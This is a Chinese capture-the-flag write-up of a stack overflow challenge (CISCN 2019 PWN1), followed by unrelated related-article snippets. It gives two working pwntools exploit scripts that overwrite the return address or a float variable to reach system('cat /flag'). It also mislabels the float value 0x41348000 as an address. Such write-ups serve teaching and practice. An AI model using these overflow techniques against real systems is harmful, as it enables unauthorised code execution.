PWN手的成长之路-11-CISCN 2019华北 PWN1-栈溢出
远程连接以下靶机,看看交互。
file 查看程序文件。
checksec 查看程序文件安全属性。开启了 NX 保护,栈上不可执行。
IDA 打开程序文件。查看 ain 函数,发现调用了 func 函数。
查看 func 函数。
这里需要判断 v2 是否等于 11.28125,但是函数就开始就定义了 v2=0.0,但是函数中又 gets()
函数,所以我们可以想到用栈溢出,之后直接让程序跳转到 return system("cat /flag");
查看溢出大小。0x30+0x8
return system("cat /flag");
的地址。0x4006BE
exp:
from pwn import *
r=remote('node7.anna.nssctf.cn',28581)
flag_addr=0x4006BE
payload=cyclic(0x30+0x8)+p64(flag_addr)
#cyclic 是Pwntols中的一个工具,用于生成特定模式的字符串,以帮助识别缓冲区溢出的位置。
r.sendline(payload)
r.interactive()
得到 flag
方法二:
思路:通过 v1 的值覆盖到 v2 的地址,发送使 v2 的值就等于 11.2815,
v1 离 rbp 的距离是 0x30,v2 离 rbp 的距离是 0x4,所以 v1 离 v2 的距离是 0x30-0x4,也就是溢出大小。
Shift+F12 查看所有的字符串,再双击打开标蓝的这个。
这个 0x41348000 就是字符 11.28125 的地址。
exp:
from pwn import *
r=remote('node7.anna.nssctf.cn',28581)
getflag_addr=0x41348000
payload=cyclic(0x30-0x4)+p64(getflag_addr)
r.sendline(payload)
r.interactive()
也可以得到 flag。
PWN手的成长之路-11-CISCN 2019华北 PWN1-栈溢出的更多相关文章
- python成长之路11
一.线程: 创建线程有两种方式(本质是一样的,创建好线程之后,cpu调度创建好的线程时执行的其实是Thread的run()方法): import threading def f1(args):prin ...
- 我的Python分析成长之路11
数据预处理 如何对数据进行预处理,提高数据质量,是数据分析中重要的问题. 1.数据合并 堆叠合并数据,堆叠就是简单地把两个表拼在一起,也被称为轴向链接,绑定或连接.依照轴的方向,数据堆叠可分为横向堆叠 ...
- linux小白成长之路11————linux命令大全
1. 启动,关机,登入,登出相关命令 登录:login 登出:logout 登出:exit 停止系统:shutdown 停止系统:halt 重启动:reboot 切断电源:poweroff 把内存里的 ...
- 物联网架构成长之路(11)-Redis缓存主从复制
1. 说明 在我的物联网平台框架框架中,会用到Redis这个中间件.作为EMQ权限认证的缓存.https://www.cnblogs.com/think-in-java/p/5123884.html ...
- (转)Python成长之路【第九篇】:Python基础之面向对象
一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...
- python成长之路第三篇(1)_初识函数
目录: 函数 为什么要使用函数 什么是函数 函数的返回值 文档化函数 函数传参数 文件操作(二) 1.文件操作的步骤 2.文件的内置方法 函数: 一.为什么要使用函数 在日常写代码中,我们会发现有很多 ...
- 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路
我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...
- OpenCV成长之路:图像直方图的应用
OpenCV成长之路:图像直方图的应用 2014-04-11 13:57:03 标签:opencv 图像 直方图 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否 ...
- OpenCV成长之路:图像滤波
http://ronny.blog.51cto.com/8801997/1394138 OpenCV成长之路:图像滤波 2014-04-11 14:28:44 标签:opencv 边缘检测 sobel ...
- OpenCV成长之路:直线、轮廓的提取与描述
http://ronny.blog.51cto.com/8801997/1394139 OpenCV成长之路:直线.轮廓的提取与描述 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 . ...
随机推荐
- Codeforces Round #620 (Div. 2) ABC 题解
A. Two Rabbits 题意:数轴上有x,y,且x<y.x可以每次+a,y可以每次-b.问能否xy相遇. 思路:只要xy差值是a+b的倍数即可. view code #include< ...
- @Data 注解
简介 对于 Data 注解基本理解而言就是生成 getter & setter 函数 但是经过探究 不单单有getter & setter 还有 toString方法 hashCode ...
- Lambert 光照模型
简介 lambert 光照模型可以说是最简单的光照模型了. 主要考虑了 漫反射. 漫反射也单单考虑了经验模型. 主要观察 面片渲染器(我是这么叫的) 参考链接 https://zhuanlan.zhi ...
- shell 编程获取文件名后缀为特定字符的函数
简介 linux && windows 我们常常要获取某个特定文件后缀的文件. 使用shell进行获取. 参考链接 https://blog.csdn.net/waitfor920/a ...
- 安装 mathtype
简介 有些会议一定要用mathtype对公式进行编辑,其实我觉得office提供的公式编辑挺好的 参考链接 https://www.bilibili.com/video/BV14i4y1V7gt?p= ...
- python如何将 数组文件 存储为json文件以及对于json文件的读取
简介 最近项目中要用到PCA计算,PCA从文件中读取数据,然后再写入数据 code #encoding = utf-8 import numpy as np import json from skle ...
- 产品更新丨谷云科技 iPaaS 集成平台 V7.5 版本更新
大家好,谷云科技iPaaS集成平台在本次新版中发布了多项新功能.平台中API网关.MCP和其他功能都有做了不同的新增和优化,一起来看看有什么新变化吧! API应用配置状态及功能增强 1.应用配置状态 ...
- Nginx通过反向代理将https访问地址代理至内网-九五小庞
server { listen 7090 default_server; listen [::]:7090 default_server; #server_name _; root /usr/shar ...
- Linux 错误: $'\r': command not found --九五小庞
前段时间写脚本出现了$'\r': command not found问题 其实log报错已经非常明确了,是linux无法解析$'\r'.这其实是windows与linux系统的差异导致的. 因为lin ...
- Unity实现Voronoi图(性能友好,分布较为均匀
这是一种性能友好的并且生成较为均匀的Voronoi图的实现方式 在一张网格中生成随机点,然后在取每个点周围点就不需要去做全局遍历,在自己周围的格子遍历即可 using UnityEngine; usi ...